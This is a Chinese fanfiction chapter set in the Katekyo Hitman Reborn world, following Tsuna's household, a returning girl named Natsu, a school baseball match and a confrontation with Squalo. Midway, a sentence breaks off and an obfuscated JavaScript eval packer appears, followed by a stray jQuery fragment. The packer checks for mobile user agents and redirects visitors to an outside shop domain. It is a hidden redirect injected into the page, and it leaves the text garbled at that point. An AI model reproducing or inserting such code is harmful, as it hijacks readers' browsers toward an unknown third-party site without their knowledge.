又是一个和平的早晨,风太、一平、蓝波、碧洋琪、黛丝贝尔、黑泽、山田围坐在餐桌旁共进早餐。
……不知不觉变成一个大家族了呢,刚下楼的纲吉看着眼前一派祥和的景象想道。
“阿纲先生早安!”一平发现来者礼貌地问候。
“早啊。”“早……”
一大波问候袭来,紧跟着的是门铃声。
“我去开门。”刚准备坐下、屁股还没挨上板凳的纲吉无奈地指了指门的方向,随即过去开了门——
“十代目早上好!”
“咦?狱寺君?”
纲吉惊讶地看着门外两名不速之客,只见山本武把身子往里探了探。
“果然还在吃早饭呀。”他把头扭向狱寺,“我就说太早了嘛。”
“啰嗦!要你多嘴!”狱寺瞪了他一眼,又瞬间变了脸热情地看向纲吉,“十代目你们先吃吧,我和棒球笨蛋先上楼了!”
不管多少次都没办法完全适应狱寺君这种态度啊。纲吉在心里干笑了几声,随后反应过来回答道:“啊,好的!”
“隼人?”碧洋琪出声,“都不和姐姐打个招呼吗?”
“……”狱寺没有回应,一脸窘迫紧闭上眼,把山本武当作导盲犬一般存在地推着他上了楼。
“……碧洋琪,”折腾了半天纲吉终于能够落座,“你和狱寺君之间究竟发生过什么啊?为什么他这么怕你?”
“啊呀,发生过什么呢?”碧洋琪捧着脸作认真思考状,而后吐出了一句话,“真是的,青春期的男生就是麻烦啊。”
绝对不是因为青春期吧!!
众人黑线。只有蓝波没神经地接嘴道:“青春期是什么?好吃吗?”
“……”
无人应答。
“喂!蓝波大人在问你们话呢!!”
“蓝波!”
蓝波把碗筷一拍踩着凳子就要翻上餐桌,风太和一平连忙拦住了他。
山田淡然咽下口中的食物:“是生长发育的过渡时期。”
“……啊?什么?”显然蓝波并没能听懂山田的简单解释。
黑泽往嘴里塞了一口饭,含糊地对山田说:“真亏你能解释得出来。”
“嘛……”山田耸了耸肩,“也是别人这么告诉我的。”
黛丝贝尔眨了眨她绿色的大眼睛,好奇地盯着身边的男生:“哥哥和狱寺哥哥差不多大,也是青春期吗?”
……他该怎么回答?说不是不对,说是的话……她会认为他对她的态度会变成像狱寺对碧洋琪那样吧?!
黑泽向山田投去隐晦的求救目光,后者干笑几声表示爱莫能助。
“自己的妹妹自己应付。”他小声这样说。
“蓝波也不是你弟弟吧……”
山田转移了视线,坚定地继续为了早餐而奋斗。
好在“青春期”的话题没能继续下去,一颗子弹划破了他们和谐的进餐气氛。
“砰——”
纲吉应声倒下。
黛丝贝尔吓了一跳,手中的筷子打了个转,弹到空中转体360°又掉到了地上:“……”
眼看着女孩就要哭出来了,黑泽故作镇定地离开座位拿了双新的筷子来,途中却手忙脚乱地撞倒了自己的椅子。
碧洋琪的淡定就不是故作的了:“你终于回来了,里包恩。”
“啊。回来了。”
上次黑曜一事结束后,里包恩回了一趟意大利。列恩羽化造出的两枚子弹都没在战斗中派上用场,现在又不是紧急情况,还是先拿给技术部研究一下比较好。
研究完毕自然是要回日本的。
“唔……”
就在这时,纲吉发出了一个单音把里包恩外的所有人都吓了一跳。
——然后里包恩迅速把纲吉的饭菜投喂了蓝波。
他捂着中弹的额头站了起来,子弹从鼻孔里掉了出来。
“?!”纲吉这才意识到自己中了枪,“里包恩你这是干嘛啊?!”
“开个小小的玩笑。”里包恩随口糊弄。
“……”纲吉怀疑地看了他两秒,突然发现自己的衣服还好端端地穿在身上,小小地惊讶了一番,“我没做什么奇怪的事?”
“泽田先生倒下去没多久就起来了。”山田回答,“然后抱怨了里包山先生、问了我们话。”
纲吉:“……”其实不用回答这么具体的。
里包恩假意解释:“其实你只是无意识地吃完了自己的早饭而已。”
听了里包恩的话,纲吉往餐桌瞥了一眼,发现自己的餐具果然干干净净了,就像被人里里外外仔仔细细舔过……打住,就像一副新餐具一样。
“看来新子弹研究失败了啊。”里包恩发出遗憾的叹息。
于是纲吉就真信了里包恩的说辞,摸了摸似乎并没有吃饱的肚子准备结束这顿一波三折的早饭——虽然他并不知道,这顿该死的早餐连开始都没有过。
他拿起筷子准备收拾掉自己的东西,就在这时,楼上发出了一阵巨响。
纲吉手中的筷子一个没拿稳,空中转体540°掉到了地上。
“……我是不会帮你拿的。”黑泽小声说道。
纲吉没理会这个妹控,黑着脸放着杀气上了楼,意外地发现了以奇怪的姿势纠缠着倒在楼道间的狱寺和山本武。
“你们……?”
纲吉疑惑地看了自己紧闭的房门一眼,把手搭了上去——
“不行!”
——然后被从狱寺身上狼狈地爬起来的山本武一脸尴尬地阻止。
时间倒回不久前。
楼下一声枪响吓了两人一跳。
“……里包恩先生回来了吗?”狱寺对自家十代目的处境表示担忧。
“嘛,阿纲不会有事的。”山本武冲他笑了笑,随即开始翻搜自己的包,“还是先把作业拿出来吧。”
狱寺闻言拉着一张苦瓜脸也开始了准备。
似乎感觉到了什么,山本武停下手中的动作,往衣柜的方向看了一眼。
什么都没有发生……错觉?
“怎么?”狱寺察觉到对方的动作,也跟着看了过去。
山本武迎向狱寺的视线:“哈哈,没什……”
话音未落,衣柜“轰——”的一下炸开,碎片“哐啷哐啷”地打到地上。
“……么?”
山本武半晌补充完最后一个字,尾音却不自觉地上扬。狱寺也一脸受到惊吓的表情。
“……没什么?”
“不,或许有什么。”
摇摇欲坠的柜门也终于垮了下来,两人这才注意到有什么人光溜溜坐在衣柜里。不过不等他们再看清,就分别受到了一击重击——
“哐——”
然后门被重重地摔上。
——“里面闹鬼吗?”
“是刺客!!”狱寺跳了起来,危机意识爆棚,重点明显和山本不一样,“里包恩先生呢?”
“冷静,狱寺。”说曹操……
不对,说里包恩里包恩到。里包恩绅士地敲了三下门朝里边问:“可以进来吗?”
“再等一下——!”
门内传出一个女孩子的声音。
山本武突然意识到什么。
难道说……
“她是我找来的。”里包恩对狱寺糊弄道,“是个比你可靠一万倍的杀手哦。”
“什么?!”据表情看来,狱寺大概是相信了里包恩这番话,不知道第多少次深感左右手的地位不保。
就在这时,门打开了。
“里包恩……我什么时候变成杀手了?骗人可不是好习惯!”
乌黑的中长发凌乱地披在肩上,漆黑的双眸盯着里包恩,面上满是抱怨之意。
“我不是杀手!”
她抢在狱寺再次提问前澄清道,当然后者并不会简单地因此就放下戒心。而紧接着一个颤抖着、似乎在寻求着肯定答复的声音在众人耳边响起——
“——夏?”
——“再等一下——”
女孩子的声音。只是听着怎么这么熟悉……
人死不能复生——山本武想起了一个人。他把对方当过敌人,相处之后发现自己陷入了偏见,却又别扭地不愿承认“朋友”这一身份。
但后来,他再也没机会说出“我们是朋友”这种“矫情”的话了。
按理说那个人已经死了、不会再出现在他的面前了,然而现在一个“里包恩认识的女生”“凭空出现”——
就算可能性再小他也不得不怀疑。
里包恩暗地里甩了他一个眼神,他莫名就肯定了自己的猜测。
也是,里包恩的一举一动都是具有信服力的啊。不管是让大家相信他还是相信自己——
所以一定是的吧?那个女生会是她吗?
她回来了、她回来了……
“里包恩……我什么时候变成杀手了?”
他看了过去。
除了头发过于凌乱,外观还是几年前他所熟悉的样子。
周围发生了什么也没怎么注意,他愣了不一会儿,一个再熟悉不过的名字脱口而出——
“夏?”
嗯?
泽田夏转过头迎上他的视线,立马认出了对方。
“哦对,你!”
她抬头望向山本武,不礼貌地伸出手指指着对方;被点名的男生愣了一愣。
“你们是来做作业的吧。做什么作业?有空不如找你老爹练练剑!”
“……??”找老爸……练剑?山本武的内心也跟着女生的头发一起凌乱了起来。他是不知道自己的老爸有多厉害,但是突然找过去不会很奇怪吗?
话说回来……夏她什么时候这么了解他爸了?
里包恩否定了夏的部分言辞:“什么叫做什么作业?学生的本分就是学习。”
“哦对了。”被里包恩的声音提醒了什么,夏右手捶左手心作恍然大悟状,不等众人反应又低下头开了口,“快把手套交出来。”
“手套?”纲吉也看向里包恩,语气略带好奇。大概是因为敢这样和里包恩对话的人太少了吧。
当事人压了压帽檐拒绝道:“不给。”
“别任性啦里包恩酱。”
里包恩……“酱”?!
纲吉和狱寺同时打了个寒颤。然而出乎意料的是,里包恩并没有对这个称呼多做评价。
“不是任性,”他认真解释,“是没办法信任你。”
“我不是你找来的可靠的杀手嘛?”
“你自己不也否认了吗?”
“……”泽田夏黑线,感情是她自己把自己将死了。
这时候直觉信任了她的纲吉突然想到一个可怕的事实。
“里包恩……”
“嗯?”
“她在日本住哪?”
一片寂静。
纲吉一脸惶恐,狱寺依旧警惕地看着她,像是在思考什么,山本武则是有些纠结地偷偷看了纲吉一眼。
里包恩故作神秘地笑了笑,夏无奈地叹了口气。
“你们这里太挤了,不劳十代目您费心!”说着她抱起里包恩就往楼下走,又突然回头看了纲吉一眼,“对了,我在阿纲哥的衣柜里借了身女装还请别介意!”
“……??”
十代目?阿纲哥?……这位小姐,对他称呼不能统一一下吗?
——话说他的衣柜?女装?
……
……难不成?!爸爸那个变态还有这种惊人的嗜好吗!!
里包恩轻笑:“家光就要回来了,你确定要对他说这种让人误会的话?”
“他”自然是指泽田纲吉。
“我确定。”夏回忆着刚才纲吉脸上惊恐万分的表情坚定地点头,“我是故意的。”
那家伙对自己的孩子都这么不上心,就该受点教训才是。
况且这部分真相只有少数几个人知道就够了,给泽田纲吉解释清楚也不全是好处。
“说起来时间限制是?”
“你是第一个实验体。”
“……真够意思,里包恩酱。”夏无语,搞半天这家伙什么都不知道,还要在自己身上现取实验数据。
“那你……”她犹豫了一下,尝试说服对方,“真的不打算把手套给我?你看嘛,可以保暖活血,很适合我这种冰冰凉的体温哦。”并且很认真地分析了起来。
“你也许忘了我的读心术。”
“我没忘。”
“那你会反推不出我的想法?”
她知道。
里包恩只是不愿意将手套交给泽田纲吉而已,而那才是里包恩读到的、她自己真正的目的。
“那是他的东西。”夏无力地辩解。
“那是你的东西。”里包恩反驳,“看来你在那鬼地方待太久了,连自己都看不见了。
“你大概是在那个地方停留了太久——虽然我并不清楚其中的原因——涉及到一些关键的地方时读心术已经对你不起作用,这一点真是越来越像阿纲他了。”
“……”
“不过有一点我可清楚得很。”
他安分地被她抱在怀里,列恩绕道帽檐后边对她瞪着大大的眼睛。
“什么时候你认可了自己,我就什么时候把手套交给你,夏。
“再仔细想想,你究竟是什么,我又何来信任你的理由。”
“你明明就信任我……”
“不,一点也不。”里包恩第一次如此直白地挑明了这番话——
不只是因为泽田夏不自信的语气招惹可他,也不只是因为和六道骸的战斗暴露出的细枝末节。
他也以为自己是信任她的,但“不信任”这种话竟这么简单就被他说出了口,让他不得不怀疑起自己。
为什么“不信任”的情感会爆发得这么突然……?
“……”夏这边张了张嘴似乎想说什么,又突然严肃了起来。
“怎么办里包恩,我们要杀人灭口吗?”
语出,里包恩的思考中断。
两人直勾勾盯着餐桌的方向。
一平和风太吃着吃着就跟着蓝波玩到了一边去,似乎没注意到他们。其他几人包括某位深爱着里包恩的女士都规规矩矩进食,黛丝贝尔倒是只听了几句没听明白、又乖乖继续吃饭,山田举着一块不知哪来的写着“我们什么都没听到”的牌子以示清白。
——不对,这分明是传说中的“此地无银三百两”吧?!
2005.11.26早,并中棒球部室。
门被推开。
“早。”
太阳当空照,不像有坏天气的苗头。凉爽而阳光正好,这种天气大概很适合运动。
“早……诶,你谁啊?”一个人套上衣服后看了过去,却发现是个不认识的对象。
“泽田?”另一个男生认出了自己的同班同学,停下手上的动作走了过去,“是你啊,怎么会出现在这里?”
“哈,堂岛君*。”纲吉笑着打了个招呼,然后指了指堂岛右脚开着的鞋带,“那个待会儿再说……还是先把鞋带系上比较好吧?”
“啊……对哦。”
“那个,阿武是在哪里来着?”
“山本在这边——”那个不认识的男生看了眼纲吉手里的小包袱,以为是帮山本武把东西送过来的,伸手指了指山本武的柜子。
“诶?”堂岛愣了愣,突然想起了什么,“难道说……”
纲吉拿出了一副手套和一个水瓶,把剩余的东西塞进了山本武的地盘,回过头无奈地笑了笑。
“哟,阿纲!”山本武朝三人走来的方向挥了挥手,接着面向背后跟来的一众人,拇指向后指向纲吉,“外援,泽田纲吉,多指教咯。”
“请多指教!”纲吉自觉地小跑过来,补充着自我介绍道,“一年生,左投左打,位置是捕手。那个,听阿武说棒球部一军出现了集体食物中毒事件……”
唉,反正都是里包恩那家伙干的好事吧。
“啊,山本说的帮手是你啊。”一个高了纲吉一个头还要多的壮实的男生回答了他。
——对于棒球来说是不是有点瘦啊?不过算了,连那个山本都推荐了,水平差不了吧。
山本武小声告诉了纲吉对方队长的身份。
“啊,我听说过他!”
人群中突然有人发话了。
“诶?”
“最近和那个狱寺隼人走的很近呢,山本和这个泽田纲吉。”
“啊?那个小混混?”
“嘿欸,那不是很可怕嘛。”
纲吉听着其他人的谈话,只是在心里笑笑,堂本却有些听不下去了:“狱寺同学只是脾气有些暴躁,人还是很好的……”
“哼——?”一张圆脸瞪着鼻子凑了过去,“怎么跟前辈说话的?也不想想,要不是意外又怎么轮得到你这个二军上场!”
并没有动手的打算,一根球棒却突然横进了两人之间,鼻子被猛地擦了一下,他吃痛地后退了两步——
“山本!”
来者是个满脸笑意的棒球笨蛋。
“嘛嘛,这点小事就算了吧前辈?你也说了,不就是一个小混混吗,怎么扯到一军二军的问题了?”山本武似乎想要劝下对方,却毫无退让的表现,“再说,前辈在一军也是坐冷板凳的哦?要不是意外,又怎么轮得到您上场呢!”
作为先发队员的笑面山本这句话说得像是一巴掌给对方糊了上去。
“你这家伙……!”
队长大人拉住了下一秒就要发飙的圆脸,淡定地清了清嗓子。
“好了好了,闹够了没有?这个话题就此打住。”
队长在球队中还是很有威信,不爽归不爽,圆脸终究是安分了下来。
“那再确定一遍更替的位置和打击顺序,之后自由准备。就算是练习赛也不能掉以轻心!”
“……是!”
“咿呀——好大的球场呐!”
“嘛,我们只能在这里偷偷看哦?”
泽田家光受到来自里包恩的一万点伤害。
上次受到这么严重的伤害已经是五天前的事了,就像纲吉被里包恩踹飞一样,他被一个棕发男生毫不留情地踹出了自家家门。
——??
家光一开始不明所以,担心儿子是不是知道了自己□□的身份在生气。
当然,纲吉是因为之前的女装事件才踹了他。
“你被儿子当成变态了啊,家光。”从窗口跳下来的里包恩这样解释道。这么说倒也没错,可放在家光这里误会就大了。
家光本以为自己这个老朋友是来安慰自己的,没想到对方出口就伤人。
——他什么时候成了变态了?!
一直打击对方似乎也没什么意思,里包恩交给了他一张照片。背景是碧洋琪风太等人在吃早饭,一个样貌熟悉的女孩穿着他熟悉的衣服举着一张纸,上面写着“父亲大人是在儿子房间私藏女装的变态”。
“……”
收回前言,里包恩性格还是有点儿恶劣的。
“这是你cos的哪个妹子?”家光假装毫不在意地指了指照片上的人,“身高不对啊,踩了高跷?”
“……”里包恩觉得自己被打败了。
“虽然是捡回来的,你连自己的女儿都认不出来了?”他半嘲讽地笑了笑,“啊,也对,‘那一天’你连葬礼都没参加就赶回去了,怕是遗照都没见一眼吧。”
——我明明认出来了。
这句话家光没能说出口,因为他清楚,这种事情里包恩是知道的。自己当然有收到过孩子们拍成照片的日常,“实体弹”的事情也有被告知。
但真到了这个时候,果然还是不敢相信。“是假的吧”,脑袋不由自主地就会让自己这么想。
而且……果然和阿纲的距离越来越远了啊。明明是个父亲吧,却这么遭儿子讨厌。
“发生那件事后我已经处理掉其他和她相关的东西了,但那身衣服还在武手上,忘记了是我的不对。该是后来他把衣服还给阿纲了。哦,山本武,你还记得吧?”
“记得,阿纲的朋友。”
“是个杀手的好苗子。”
“……”
山本武本来和这边也牵扯不深,但家光知道里包恩有“把他培养成守护者”的意思,也不好说些什么。况且在这方面自己也是个自私的人,阿纲身边能有个忠诚的好帮手当然是最好不过。总之最后的决定权也不在自己一方的手上,就算是里包恩也不会强求阿武的吧。
“这张照片就处理掉吧。”
家光语毕,就见列恩咔嚓咔嚓把照片吃进了肚子。
“我本来就是这么打算的。”里包恩说道。
一个本不该存在的人,就不该留下存在的痕迹。知道那个人的存在真相的,只有少数人就够了。
——“练习赛是跟哪个学校来着?”
“你还真是一点也不关心自己的儿子啊。别说什么这也是没办法的事。”
到口边的话又咽了回去,家光悻悻然撇过头,远远望向球场上正在跑步热身的纲吉。
——嗯,虽然对儿子的关心表现在实际行动的程度下降了,还好视力没退化。
里包恩读到对方的想法,不由得笑了出来。
“那你可得好好看着周围有没有异动啊。”
“是啊,巴吉尔也就这几天到吧,瓦利亚追查到学校来就糟糕了。”家光说道,“不过监视周围那种事不该交给你吗?”
“为什么?”
家光回答得理所当然:“父亲当然要认——真看儿子的比赛,替他加油啊!”
“说的也是。那我作为阿纲的养父,就有劳你这位CEDEF首领监视了。”
“里包恩你这家伙……!”
“欸?”收到电话邀请,京子的声音听起来带着几分惊喜,“好啊,不过哥哥他可能来不了呢。
“对了,我可以带个朋友来吗?”
“当然可以。”黑泽回答,“黑川同学吗?”
“我记得她说今天家里有点事。”京子的语气有些无奈,不过马上又恢复了情绪,“是绿中的一个朋友,是个很好的人呢。”
——“不行。”
本以为对方会乐意地答应的京子被断然拒绝,失落的同时又感到惊讶。
还以为小春会很开心呢……
“绝对不行,你不能去。”
……欸?她?
“小春……?发生什么事了吗?”
没弄错的话小春这是在阻止她?可是为什么……
“请你相信我……不要去好吗?”
“……
“对不起。”
京子顿了顿,通话安静了几秒。
“不是不相信,”京子抱歉地解释,“可是小春你突然这么说,我也……”
我也不明白为什么啊。
“……”
“小春?”话筒那边太过安静,京子有些疑惑,不知道对面发生了什么,“你还在吗?”
“啊……还在。
“那京子,我和你一起去好了!”
——“小春……手心全是汗啊。”
三浦春闻言松开了紧握住京子的手,意识到自己太过紧绷了。感受到对方担忧的视线,她朝对方笑了笑。
“没事吧?”
“没关系哦!”她如同以往朝气蓬勃地回答,“电视说今天没有昨天冷,稍微穿多了点儿,有点热啊。”
这是事实。
京子也暂时放了心。
——还是不要去的好……早知道就约京子一起学习了。不过之前好像是工作日的时候……?
就在三浦春陷入思考时,京子突然又开了口:“哈,碧洋琪小姐他们到得真早!”
“哈咿?”
三浦春顺着京子手指的方向看过去,一个成熟的女性和几个小孩子站在视野内。
“哈,是京子!”
“蓝波君!
京子应了一声就要跑过去,三浦春却下意识抓住了她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531939|203720||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“小春?”
——果然小春她……有什么事瞒着自己吧。
……没有那个人。
三浦春看着其中唯二与纲吉年龄相仿的少年,却发现都不是记忆中的样貌。
“抱歉,来晚了。”京子抱歉地说。
“是我们早了呢。”
黑泽回答后,在一边玩的黛丝贝尔也跑了过来:“京子早上好!”
“早上好啊。”
“三浦小姐是吗?”山田看向另一个黑发女生,微微一笑,“初次见面,我是目前寄住在泽田先生家的山田宪一。”
“诶,三浦小姐?是京子的朋友吗,我是黑泽,黑泽大山,请多指教。”
——什么啊,就这样直呼京子的名字了吗!
“请……请多指教。”
——还有那个山田宪一……?没见过的人,是从阿纲先生还是京子那里听说过我?背的是竹刀什么的吗?
三浦春犹豫了一下,没有出口发问。
“目前?”
“啊,过段时间就会离开了。”山田给予了肯定答复。
“诶,要走吗?”黑泽惊讶,“完全没听你提起过。”
“啊……没错,也不好意思总麻烦在这里。”山田愣了愣回答,“你们没问,我也一直忘了说。”
山田的样子稍微有些犹豫,似乎还有什么没说出口,黑泽等了一等却还是没了下文。
“狱寺君不在吗?”京子环顾四周,没有发现狱寺的身影。
“我们也是临时约出来玩,他今天有事不方便。”碧洋琪解释,补充武器这种事是无论如何都不能告诉京子她们的,“说起来还没决定呢,今天去哪里好呢?”
“商店街吧?”黑泽提议,“离这里也不远……”
三浦春听了对方的话,心脏猛地噗通了一下。
“啊!”京子突然想起了什么,“今天我们棒球部有比赛,要不要去看看?”
“阿纲哥也有提到过呢,”风太想了想,“好像武哥哥找他帮忙。之前有说只是练习赛所以就不用去加油了。”
所以那三个人都不在啊,三浦春恍然:“要不就去加油吧?”她提议道。
——这样就没问题了吧。这段敏感时间,避开商店街就好了。
“诶?来得及吗?”碧洋琪问。
“就在并中,还有十几分钟呢。”京子看了看手表,“我们走过去吧。”
“锵——”
众人望着某个小白点逐渐远去。
“不愧是武呢。”纲吉毫无意外地看着山本武跑圈踩垒,“不过上个打席变成了外野高飞还真是可惜。”
1-3垒有人的本垒打,计分板上并中的总分数字加了3。
“好厉害,本垒打……”堂岛的声音不由得颤抖了起来。虽然早在观众席上见识过山本武的厉害,果然身为队员的感受就是不一样。
“堂岛君也很厉害呢。”
“欸?”
“都没听你提起过,居然是投手啊。”
“啊……”说起这个堂岛有些失落,虽然自己是临时顶上来的队员,三局失了4分他还是很过意不去。
纲吉沉默了一秒,突然重重地拍上了堂岛的背。
“大家比赛完一起去吃面包吧!”
“欸……?”堂岛明显没反应过来。
“你家的面包店,”纲吉解释,“我觉得很不错哦。
“啊啊,交换了。这局放松投就好。”
他起身,堂岛愣在位置上仰头看着他。
纲吉笑了笑伸出了手,开始放大话——
“接下来交给我吧,剩下十八个人,我们一起把他们全都三振掉!”
欸。
……欸??!
“三振?全部?!开什么……”
“轰——”
与堂岛的心情格外贴切的一声巨响在球场上炸裂开来。
众人被震得东倒西歪,万幸这局比赛刚结束,破坏的中央并没有人在。
——开什么玩笑啊里包恩?!
这一秒纲吉还有心情吐槽自己的老师,下一秒一排小黑点划开场中的烟雾与沙尘朝寥寥观众的方向射了过去
——糟糕!!
纲吉也不会迟钝到以为危险到这种程度的事会是里包恩搞出来的,但非死气模式的身体再怎么都不会比子弹还快。
好在又有什么东西飞了过来。就在京子等人不远处,那排小黑点同时“砰”地爆裂开来。
“呼……”纲吉松了一口气,看了一眼某个无人的方向,接着紧跟着山本武跑向京子那边。
——谢了,里包恩。
“泽田?!”茫然状态的堂岛下意识伸手想要拦住对方,当然也只能捞了个空。
而看上去似乎是出了什么状况,刚才还在埋人堆里的山田正在赶来自己这边的路上。两人擦身而过,虽然有些疑惑,但纲吉也没来得及去担心对方。
也就几秒的事,堂岛就这样眼睁睁看着那个黑头发的家伙冲过来把自己扑倒了,临死……呸,倒下去之前他恍惚觉得自己曾在哪见过他。
“堂岛君——?!”纲吉担忧地回看了一眼。
时间没有给他在京子和堂岛两边之间犹豫的机会,两个影子突然从场地中飞了出来,其中一个恰好砸向纲吉的方向。并非没有躲避的时间,但不知怎的他竟然没能躲开,扑通一下和来者一起倒了下去。
“阿纲!”“阿纲哥!”
京子和风太吓了一跳,其他人也正准备赶过去,却被碧洋琪拦了下来。三浦春站在靠后的位置观望着,脸色阴晴不定。
——这就是这个世界给出的答案了,有些事情是注定发生的。那个人说的没错,再怎么也不过是徒劳罢了。
而尽管自己等人现在的处境似乎很糟糕,她更在意千钧一发救下了一名棒球队队员的山田。
——几乎没人注意到,从场中飞出来的其中一个影子径直冲向了堂岛。
那是回旋镖。
“——?!”
压在纲吉身上的少年听见旁人的称呼猛地抬头,吃惊地盯着纲吉的脸,连道歉都忘了说。
“阁下是……!!”
“哈?”纲吉茫然。阁下?这是哪个年代的称呼啊!
“你……也是穿越来的?时空旅行?”
“穿越?”
这次轮到这个少年迷惑了。看来两人一时半会儿还没法好好交流。
“Vooooi!!”
一声大吼打断了他们短暂的对话,男人把一头长发甩到身后,语气不善地把剑指向少年——身下的纲吉:“碍事的家伙,给我有多远滚多远!”
少年一个翻身站了起来,正准备说些什么,两个男生却挡在了自己身前。
“你要是想对十代目做什么的话,我劝你还是早点放弃吧。”
及时赶到的狱寺手持炸弹,一脸不善。山本武拿着变形刀站在斜后方没有出声,往京子他们的方向看了一眼,碧洋琪会意,准备带其他人离开。
——遭了,对方还不知道泽田殿下的身份、可是那个Smoking Bomb……!
少年在心里捏了一把汗,祈祷着那个男人没注意到那个异常的称呼。
然而狱寺下一刻却用意大利语说出了出乎他预料的话:“你应该早就知道了,不然几乎不可能碰巧出现在这里。没错吧,斯库瓦罗?!”
——“诶?里包恩提到过的那个瓦利亚的?!”
安静。
“怎、么了吗……?”纲吉注意到众人的目光都聚集到了他这里来,身为当事人却有些不明所以。
狱寺只能对情况猜个五六分,山本武却是再清楚不过了——里包恩应该从来没有教过阿纲意大利语才对。
他听懂了,他回答了。
泽田纲吉用流畅的意大利语回应了自己的发言,但他本人却丝毫没有注意到的样子,又马上切回了日语。那眼神中的疑惑太过逼真,不管是谁都忍不住想要认为泽田纲吉什么都没说,或者泽田纲吉的确是不会意大利语的。
但不管是谁都亲耳听到了那句话,再怎么想都不可能是日本话才对。
泽田纲吉至今已经暴露过很多疑点了,信任归信任,但山本武和狱寺那种没来由的担忧又加重了几分。
虽然觉得有些奇怪,少年和斯库瓦罗却没怎么在意,下意识就认为对方能说意语属于正常范畴。
“哼?”斯库瓦罗挑了挑眉,“你们怎么知道我们有泽田纲吉的情报?”
狱寺考虑了一下,觉得告诉对方实情也没关系:“大名鼎鼎的六道骸败给了彭格列十世,这种事恐怕□□都知道得差不多了吧?”
他没把话说满,他确信斯库瓦罗是听得明白的。这句话已经透露出了足够的信息。
黑曜一战提供了小帮助的是瓦利亚的贝尔菲戈尔。参与了战斗的还有弗兰,贝尔的旧识,六道骸的弟子。贝尔将彭格列的信息提供给了瓦利亚——
同样的,弗兰将贝尔的信息提供给了泽田纲吉一方。
那个在贝尔口中或许十分亲密的孩子是站在泽田纲吉这边的。
“嚯——所以呢?跟我对着干已经做好死的准备了吗!!”斯库瓦罗也没明着回答狱寺的话,依旧用他的嗓门折磨着离他比较近的几人。
“我——
“——十代目?”
还想说些什么的狱寺被纲吉拦了下来。
“既然达到目的了,还留在这儿干什么呢?斯库瓦罗。”
纲吉安静地笑着,眼前的银发男人似乎突然变得透明,自己意外地能够把他看得一清二楚。
“达到目的”,说起这个,一边少年的表情就有些不自然了。师父交给他的任务没能完成,那盒本该转交给泽田纲吉的半彭哥列戒在刚才的交锋中已然落到了对方手上。
当然,斯库瓦罗是不可能让那种重要的东西轻易又被抢走的。
“不快点回去交差吗?你们的首领该等不及了吧。”纲吉继续补充。
斯库瓦罗愣了愣,随即皱着眉勾了勾嘴角。
“你这家伙……
“真是和那个会读心的家伙一样讨人厌啊。”
斯库瓦罗似乎也没有扯上普通人的打算,收回了杀气,气氛莫名轻松了几分。他倒是能从高处跳下来大杀特杀,但纲吉给了他一个并不需要的台阶,就这么算了也是无妨。
而被说讨人厌也没关系,纲吉只是毫不畏惧地直视着对方。也不是为了帮对方找个理由才这样说,他只是下意识觉得必须阻止狱寺、阿武和对方的战斗而已。
“小子,算你识相。跟那个里包恩说清楚,今后不要再和这边的世界扯上关系了,否则我们还会出手。”
虽然这么说,斯库瓦罗却隐隐有些预感。
他们之间还远远没有结束。
斯库瓦罗也看向纲吉,那双直视自己的眸子里掩盖不住的是普通人都会产生的怯意,也有面对自己的勇气与沉着。
但同样地,他看到了那被表面所掩盖的……
战意。
“好自为之,泽田纲吉。”
他最后深深地看了他一眼,准备离开。就在这时,他感受到了另一道目光。
不是家光那个懊恼自责的徒弟,也不是那两个跳出来保护泽田纲吉的男生。
他下意识顺着目光看了过去——
竹刀袋掉在了地上,一只手捡起后紧握住它,也没再把它重新背上。
经历了刚才的混乱,一头微乱的黑发在微风中轻轻晃动着。那个男生的脸上表现出来的是说不出的平静。他为微笑着,仿佛在欣赏什么有趣的事情。
他看着他。
他看向他。
寒意突地袭上脊梁,又瞬间消失。
斯库瓦罗想要从对方的眼里看出些什么,却什么也没感受到。他又多看了那男生几眼,这才意识到对方刚才从弹开的回旋镖下救下了一个普通人。
斯库瓦罗暗暗把对方记了下来。
这个人,瓦利亚不认识。